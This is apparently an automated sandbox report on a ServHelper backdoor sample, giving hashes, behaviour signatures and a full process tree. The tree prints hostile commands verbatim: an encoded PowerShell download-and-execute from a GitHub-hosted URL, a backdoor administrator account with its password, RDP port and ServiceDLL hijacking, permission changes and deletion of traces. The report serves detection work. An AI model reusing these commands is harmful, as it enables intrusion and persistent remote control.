Analysis
-
max time kernel
143s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
10-04-2024 14:24
Static task
static1
Behavioral task
behavioral1
Sample
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
Resource
win10v2004-20240226-en
General
-
Target
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
-
Size
5.7MB
-
MD5
83d119a963e7050995f9bf6be8841b95
-
SHA1
2ba0e479d5c2b7b9b28c7f946bd56489cedaa126
-
SHA256
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486
-
SHA512
4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe
-
SSDEEP
49152:OZxqAErb/T/vO90dL3BmAFd4A64nsfJ49fEM5QcLTmk/2PU3oq5Z/tXGKSXzDBme:OZZ0hEumAQQQQQQQQQQQQQ
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 5 2140 powershell.exe 6 2140 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid Process 1216 icacls.exe 2220 icacls.exe 820 takeown.exe 1776 icacls.exe 2288 icacls.exe 3068 icacls.exe 2128 icacls.exe 2972 icacls.exe -
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe -
Loads dropped DLL 2 IoCs
Processes:
pid Process 2008 2008 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exepid Process 2128 icacls.exe 2972 icacls.exe 1216 icacls.exe 2220 icacls.exe 820 takeown.exe 1776 icacls.exe 2288 icacls.exe 3068 icacls.exe -
Processes:
resource yara_rule behavioral1/files/0x000b000000015cc2-100.dat upx behavioral1/files/0x000a000000015d8c-101.dat upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
Processes:
powershell.exepowershell.exedescription ioc Process File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1EX1BGEB5Q9NOM91UO2N.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 4 IoCs
Processes:
WMIC.exeWMIC.exepowershell.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f03770f8528bda01 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid Process 2616 powershell.exe 2492 powershell.exe 2844 powershell.exe 1836 powershell.exe 2616 powershell.exe 2616 powershell.exe 2616 powershell.exe 2140 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid Process 464 2008 2008 2008 2008 -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 2492 powershell.exe Token: SeDebugPrivilege 2844 powershell.exe Token: SeDebugPrivilege 1836 powershell.exe Token: SeRestorePrivilege 2288 icacls.exe Token: SeAssignPrimaryTokenPrivilege 2892 WMIC.exe Token: SeIncreaseQuotaPrivilege 2892 WMIC.exe Token: SeAuditPrivilege 2892 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2892 WMIC.exe Token: SeIncreaseQuotaPrivilege 2892 WMIC.exe Token: SeAuditPrivilege 2892 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2652 WMIC.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeAuditPrivilege 2652 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2652 WMIC.exe Token: SeIncreaseQuotaPrivilege 2652 WMIC.exe Token: SeAuditPrivilege 2652 WMIC.exe Token: SeDebugPrivilege 2140 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exepowershell.execsc.exenet.execmd.execmd.exedescription pid Process procid_target PID 1712 wrote to memory of 2616 1712 d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe 29 PID 1712 wrote to memory of 2616 1712 d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe 29 PID 1712 wrote to memory of 2616 1712 d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe 29 PID 2616 wrote to memory of 2520 2616 powershell.exe 31 PID 2616 wrote to memory of 2520 2616 powershell.exe 31 PID 2616 wrote to memory of 2520 2616 powershell.exe 31 PID 2520 wrote to memory of 2584 2520 csc.exe 32 PID 2520 wrote to memory of 2584 2520 csc.exe 32 PID 2520 wrote to memory of 2584 2520 csc.exe 32 PID 2616 wrote to memory of 2492 2616 powershell.exe 33 PID 2616 wrote to memory of 2492 2616 powershell.exe 33 PID 2616 wrote to memory of 2492 2616 powershell.exe 33 PID 2616 wrote to memory of 2844 2616 powershell.exe 35 PID 2616 wrote to memory of 2844 2616 powershell.exe 35 PID 2616 wrote to memory of 2844 2616 powershell.exe 35 PID 2616 wrote to memory of 1836 2616 powershell.exe 37 PID 2616 wrote to memory of 1836 2616 powershell.exe 37 PID 2616 wrote to memory of 1836 2616 powershell.exe 37 PID 2616 wrote to memory of 820 2616 powershell.exe 39 PID 2616 wrote to memory of 820 2616 powershell.exe 39 PID 2616 wrote to memory of 820 2616 powershell.exe 39 PID 2616 wrote to memory of 1776 2616 powershell.exe 40 PID 2616 wrote to memory of 1776 2616 powershell.exe 40 PID 2616 wrote to memory of 1776 2616 powershell.exe 40 PID 2616 wrote to memory of 2288 2616 powershell.exe 41 PID 2616 wrote to memory of 2288 2616 powershell.exe 41 PID 2616 wrote to memory of 2288 2616 powershell.exe 41 PID 2616 wrote to memory of 3068 2616 powershell.exe 42 PID 2616 wrote to memory of 3068 2616 powershell.exe 42 PID 2616 wrote to memory of 3068 2616 powershell.exe 42 PID 2616 wrote to memory of 2128 2616 powershell.exe 43 PID 2616 wrote to memory of 2128 2616 powershell.exe 43 PID 2616 wrote to memory of 2128 2616 powershell.exe 43 PID 2616 wrote to memory of 2972 2616 powershell.exe 44 PID 2616 wrote to memory of 2972 2616 powershell.exe 44 PID 2616 wrote to memory of 2972 2616 powershell.exe 44 PID 2616 wrote to memory of 1216 2616 powershell.exe 45 PID 2616 wrote to memory of 1216 2616 powershell.exe 45 PID 2616 wrote to memory of 1216 2616 powershell.exe 45 PID 2616 wrote to memory of 2220 2616 powershell.exe 46 PID 2616 wrote to memory of 2220 2616 powershell.exe 46 PID 2616 wrote to memory of 2220 2616 powershell.exe 46 PID 2616 wrote to memory of 2912 2616 powershell.exe 47 PID 2616 wrote to memory of 2912 2616 powershell.exe 47 PID 2616 wrote to memory of 2912 2616 powershell.exe 47 PID 2616 wrote to memory of 1644 2616 powershell.exe 48 PID 2616 wrote to memory of 1644 2616 powershell.exe 48 PID 2616 wrote to memory of 1644 2616 powershell.exe 48 PID 2616 wrote to memory of 1128 2616 powershell.exe 49 PID 2616 wrote to memory of 1128 2616 powershell.exe 49 PID 2616 wrote to memory of 1128 2616 powershell.exe 49 PID 2616 wrote to memory of 2024 2616 powershell.exe 51 PID 2616 wrote to memory of 2024 2616 powershell.exe 51 PID 2616 wrote to memory of 2024 2616 powershell.exe 51 PID 2024 wrote to memory of 2152 2024 net.exe 52 PID 2024 wrote to memory of 2152 2024 net.exe 52 PID 2024 wrote to memory of 2152 2024 net.exe 52 PID 2616 wrote to memory of 1340 2616 powershell.exe 54 PID 2616 wrote to memory of 1340 2616 powershell.exe 54 PID 2616 wrote to memory of 1340 2616 powershell.exe 54 PID 1340 wrote to memory of 1704 1340 cmd.exe 55 PID 1340 wrote to memory of 1704 1340 cmd.exe 55 PID 1340 wrote to memory of 1704 1340 cmd.exe 55 PID 1704 wrote to memory of 2256 1704 cmd.exe 56
Processes
-
C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe"C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\irs8saix.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6559.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6558.tmp"4⤵PID:2584
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2844
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836
-
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:820
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1776
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2288
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3068
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2128
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2972
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1216
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2220
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:2912
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:1644
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1128
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2152
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:2256
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:964
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1408
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1088
-
C:\Windows\system32\net.exenet start TermService5⤵PID:912
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1772
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2744
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2748
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1444
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1732
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1064
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc SNFLIw9w /add1⤵PID:1112
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc SNFLIw9w /add2⤵PID:1600
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc SNFLIw9w /add3⤵PID:1468
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:2032
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:2108
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1516
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD1⤵PID:1596
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD2⤵PID:2224
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1724
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2160
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1744
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc SNFLIw9w1⤵PID:1456
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc SNFLIw9w2⤵PID:2176
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc SNFLIw9w3⤵PID:1936
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:2424
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2892
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2436
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2396
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD55eadfa2d7adec1a3ea3ecdfa74213e13
SHA1f23077cd05147c3493c207bd0af78eee66ad761c
SHA2567208ca8c2c5cd1e558876217e516dc4592df0705c6358abc53aaac66dcef33a3
SHA512b9a42564e51ae89272350bab5743217889a7c260b496aa4b50e8a71358cc25656df3ab89ea1c696bd30048f429d46918fc98ea17788d3b0465818b4e354f9b9e
-
Filesize
2.5MB
MD59d21abc1a799ae0ea31258d563532295
SHA1a9cde90ba328e30a3eb7a5c410b304a4ae09cdba
SHA2568075e676d039b5791405f3ab00787a16199920dfe025ff04359b953565bf6f2f
SHA512b9324c8b4af372a89aaa8c864dab88e74fdd820b28b6fe03897151e23de01b0a0857959e0e023340e4dd18ba0a6dad2faaf365580769b3a473070457b72b3065
-
Filesize
3KB
MD50107e9dfdac8706cac1e577b58df02b7
SHA1d91e38c1c845655f9c78652c9736495b893e85bd
SHA2562d876502dca43a25d61ca1bb9974aa8f9d592698ea4e13636ed9d352ab974481
SHA5121e69037dd111f75465311957804e5b5cf0d41369f2036b288426c9a1b90f77d09a70c85c976ee1389296b312e0ae95a771709667031a9623a49d738aa4ec76d1
-
Filesize
7KB
MD5e0c45aa7f0e4665606180bd01090a68b
SHA158a8ed7fedb303fd9839b58e114b42c5d299dc27
SHA25626f76b47739edf9fba680c0cb28f73874c1cff0013f2492c31690afa0edf591f
SHA512b4fa1b9d75d6aeed2983b58b0d2dde275605565f399b5494b1744355a529499c304e84f2082ebb7bf9854238552ac4c4a997a6c718d03c2a1937d6ab2109d725
-
Filesize
1KB
MD528d9755addec05c0b24cca50dfe3a92b
SHA17d3156f11c7a7fb60d29809caf93101de2681aa3
SHA256abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
SHA512891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5aa8c7d20a6d1f8cf8f1eb6ea4ccfbb50
SHA1e905ffd56ef57db76ba86dd4860baec21a1fecce
SHA2565c579bb3d73c1ed35ff5f4fb72aa9015b3f6c53c10f2c67e2f73feb5c92ed394
SHA5129462eb144831103ca69d9ea039287675cd2338d40440f7f7959234702c2817bf48f488fbb3b328719eaadfe0408b0a2858a0345f0bd6a90fb98ef03969fb3738
-
Filesize
40KB
MD5dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
Filesize
652B
MD55a9f3bc8d5973cd64487d61ffbb339c2
SHA151ec3a68baaf7d2514497af4fcf7d2852c9c5591
SHA256d8031d7e2a6778f5a806ebd0a393f52a2592ac8f6d5aa7566ee3e81c507d0359
SHA5124e42f87646e5ac6c715960a7bc71f23f9a501cea603bc2d30647b71ddd1645827b8562366a23f743e4904a3a08ee35484a756716940c9c65c6dd67296298e02d
-
Filesize
424B
MD59f8ab7eb0ab21443a2fe06dab341510e
SHA12b88b3116a79e48bab7114e18c9b9674e8a52165
SHA256e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
SHA51253f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b
-
Filesize
309B
MD56f80eff98c741b73db1f260abbaa03c8
SHA132c757ae63522c8fee4ce0ffdebe196e1ac541b1
SHA256154399548368d85e6add8e2232d0cebc411bce96b24aa5875f3f1eee80cfcdc6
SHA512e005bed532e2922e971e2bb0f14ce7b685c3747350d04dad835b893a6f38ad5fcff029b1ac269dffd0be3cdff040975290997fc6e6638079ddf3fb8a6fd31099
-
Filesize
60KB
MD52997902dba8aefe9e872b14c2bfb584b
SHA1cca608ebdde64a12dca56b2bd4864089857eba01
SHA256537ab9c5f678410f21c063f11f4a894cc15025a5590199716a01bbf365dc0e50
SHA5124fc959cbf5bebfcb5a32fdebd2ceec8943f9d3d0ffcaed236b2d73b680c5c5f6c85d5ad3d192d7d565f4b2fe07fb87321a8036a304147df2b7f45936ff5f9fc1
-
Filesize
743KB
MD59119f61ba0d487585a8fd5aaa4198a9a
SHA11ff2e337e5d1547d9e1824062500f743aae999db
SHA2566a3da788a78fc2024fbfb135624047a7d15edcae3798a3cb0e87fbab740d70f1
SHA512322e3e0006a3015c0495b76bdf9125285e6a6dd2f84d69996e4d95cbc73449269b7945ccccad465d417394075bc69f46f91ad1eb95f717958977cb88139267ab